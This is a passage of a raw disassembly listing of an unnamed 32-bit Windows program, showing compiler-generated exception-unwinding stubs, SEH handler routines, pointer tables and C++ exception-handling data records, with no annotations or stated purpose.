[ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o mov eax, offset dword_441A38 jmp sub_4367C8 SEH_4264C0 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B758: ; DATA XREF: ___:00441AB4o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426560 proc near ; DATA XREF: sub_426560+2o mov eax, offset dword_441A88 jmp sub_4367C8 SEH_426560 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o mov eax, offset dword_441AD8 jmp sub_4367C8 SEH_4266A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o mov eax, offset dword_441B08 jmp sub_4367C8 SEH_4269A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426A60 proc near ; DATA XREF: sub_426A60+2o mov eax, offset dword_441B38 jmp sub_4367C8 SEH_426A60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o mov eax, offset dword_441B68 jmp sub_4367C8 SEH_426EB0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426F70 proc near ; DATA XREF: sub_426F70+2o mov eax, offset dword_441B98 jmp sub_4367C8 SEH_426F70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427590 proc near ; DATA XREF: sub_427590+2o mov eax, offset dword_441BC8 jmp sub_4367C8 SEH_427590 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427650 proc near ; DATA XREF: sub_427650+2o mov eax, offset dword_441BF8 jmp sub_4367C8 SEH_427650 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o mov eax, offset dword_441C28 jmp sub_4367C8 SEH_427DC0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B8A8: ; DATA XREF: ___:00441C84o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427E30 proc near ; DATA XREF: sub_427E30+2o mov eax, offset dword_441C58 jmp sub_4367C8 SEH_427E30 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B908: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o mov eax, offset dword_441CB0 jmp sub_4367C8 SEH_427EF0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43B968: ; DATA XREF: ___:00441D34o mov ecx, [ebp-28h] add ecx, 0A1h jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428160 proc near ; DATA XREF: sub_428160+2o mov eax, offset dword_441D08 jmp sub_4367C8 SEH_428160 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014B0 ; --------------------------------------------------------------------------- loc_43B9AB: ; DATA XREF: ___:00441D74o lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BA92: ; DATA XREF: sub_4282C0+8o mov eax, offset dword_441D48 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o mov eax, offset dword_441E30 jmp sub_4367C8 SEH_4299C0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o mov eax, offset dword_441E60 jmp sub_4367C8 SEH_429AA0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429D00 proc near ; DATA XREF: sub_429D00+2o mov eax, offset dword_441E90 jmp sub_4367C8 SEH_429D00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A090 proc near ; DATA XREF: sub_42A090+2o mov eax, offset dword_441EC0 jmp sub_4367C8 SEH_42A090 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A150 proc near ; DATA XREF: sub_42A150+8o mov eax, offset dword_441EF0 jmp sub_4367C8 SEH_42A150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o mov eax, offset dword_441F20 jmp sub_4367C8 SEH_42AEC0 endp ; --------------------------------------------------------------------------- align 10h loc_43BB90: ; DATA XREF: ___:0042AFD5o mov eax, offset dword_441F80 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BBA8: ; DATA XREF: ___:0044200Co lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B060 proc near ; DATA XREF: sub_42B060+2o mov eax, offset dword_441FE0 jmp sub_4367C8 SEH_42B060 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B240 proc near ; DATA XREF: sub_42B240+2o mov eax, offset dword_442020 jmp sub_4367C8 SEH_42B240 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43BC08: ; DATA XREF: ___:0042B2E2o mov eax, offset dword_442050 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B480 proc near ; DATA XREF: sub_42B480+2o mov eax, offset dword_442080 jmp sub_4367C8 SEH_42B480 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- mov eax, offset dword_4420B0 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B880 proc near ; DATA XREF: sub_42B880+8o mov eax, offset dword_4420E0 jmp sub_4367C8 SEH_42B880 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o mov eax, offset dword_442110 jmp sub_4367C8 SEH_42BB70 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BD84: ; DATA XREF: ___:0042BE68o mov eax, offset dword_442168 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o mov eax, offset dword_442250 jmp sub_4367C8 SEH_4347B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDEB: ; DATA XREF: ___:004422B4o lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDF6: ; DATA XREF: ___:004348A8o mov eax, offset dword_442288 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o mov eax, offset dword_4422C0 jmp sub_4367C8 SEH_4351E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o mov eax, offset dword_4422F0 jmp sub_4367C8 SEH_4355E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o mov eax, offset dword_442328 jmp sub_4367C8 SEH_4356F0 endp ; --------------------------------------------------------------------------- db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '',0 align 4 dd 3E3h dup(0) off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo off_43E004 dd offset byte_4367D0 ; DATA XREF: sub_403C70+2o off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o ; sub_409B40+Bo ... off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o ; sub_40AE10+1Co dd offset byte_4367D0 align 10h off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o ; sub_40B170+1Eo flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o ; sub_40FDA0+1Do dd offset sub_40212B dd 0 off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o ; sub_40FDA0+23o off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o ; sub_411910+1Do dd offset loc_401FE6 dd 0 off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do ; sub_413220+1Fo dd offset sub_401CF8 align 10h off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o ; sub_417DF0+8o dd offset sub_4020A9 dd 0 off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o ; sub_417E20+8o dd offset sub_401230 align 8 off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o dd offset sub_401CDF dd 0 off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o ; sub_4190B0+36o off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Fh, 40h, 0 off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r dd 0 off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo ; sub_41A110+6o off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o ; ___:0041B48Do dd offset sub_40167C align 10h off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o ; sub_41D760+1Do dd offset sub_401C80 dd 0 off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o dd offset sub_401A64 dd offset sub_401A41 dd 0 off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao ; sub_426560+1Do dd offset sub_401A64 dd offset byte_4367D0 dd 0 off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o dd offset sub_401A64 dd offset sub_401366 dd 0 off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o dd offset sub_401A64 dd offset sub_401E92 dd 0 off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o dd offset sub_401A64 dd offset sub_401A05 dd 0 off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o dd offset sub_4021A8 dd offset sub_4015AF dd 0 off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao ; sub_427EF0+1Do dd offset sub_4021A8 dd offset byte_4367D0 dd 0 off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo ; sub_428250+10o dd offset sub_4021A8 dd offset sub_401D2A dd 0 off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o ; sub_429A60+9o dd offset sub_4021A8 dd offset sub_40137A dd 0 off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o dd offset sub_4021A8 dd offset sub_4010AF dd 0 off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o dd offset sub_4021A8 dd offset sub_40188E dd 0 off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o dword_43E190 dd 0 dd 8, 0 off_43E19C dd offset byte_4367D0 ; DATA XREF: sub_42B240+39o off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o dd offset sub_4021A8 dd offset sub_40134D align 10h off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o dd offset sub_4021A8 dd offset sub_40152D align 10h dd offset loc_4015F0 dd offset sub_4021A8 dd offset sub_4019E2 align 10h dd offset dword_43E348 off_43E1D4 dd offset loc_436811 ; DATA XREF: ___:00436808o ; ___:off_4438B0o ... dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0) off_43E318 dd offset off_446CD0 ; DATA XREF: ___:0043E330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E318 dd 0 db 0 ; DATA XREF: ___:0043E358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43E330h dword_43E348 dd 3 dup(0) dd offset off_446CD0 dd offset unk_43E338 dd 45h dup(0) dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0 dd offset dword_436FD0+0B30h dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0) dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0 dd offset loc_437B7B dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0) dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0) dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0 dd offset loc_437FC8 dd 2 dup(0) dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0 dd offset loc_437FF8 align 10h dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0) dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0 dd offset loc_438048 dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh dd 2 dup(0) dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0 dd offset loc_4380C8 dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh dd 2 dup(0) dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0) dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0 dd offset loc_438208 dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0) dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0 dd offset loc_43828B dd 0 dd offset loc_438296 dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0) dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0 dd offset loc_438530 align 10h dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0 dd offset loc_438570 dd 2 dup(0) dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0 dd offset loc_4385BB dd 0 dd offset loc_4385C6 dd 2 dup(0) dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0) dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0) dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0 dd offset loc_438638 align 10h dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0 dd offset loc_43865B dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh dd 438799h, 1Eh, 4387A4h, 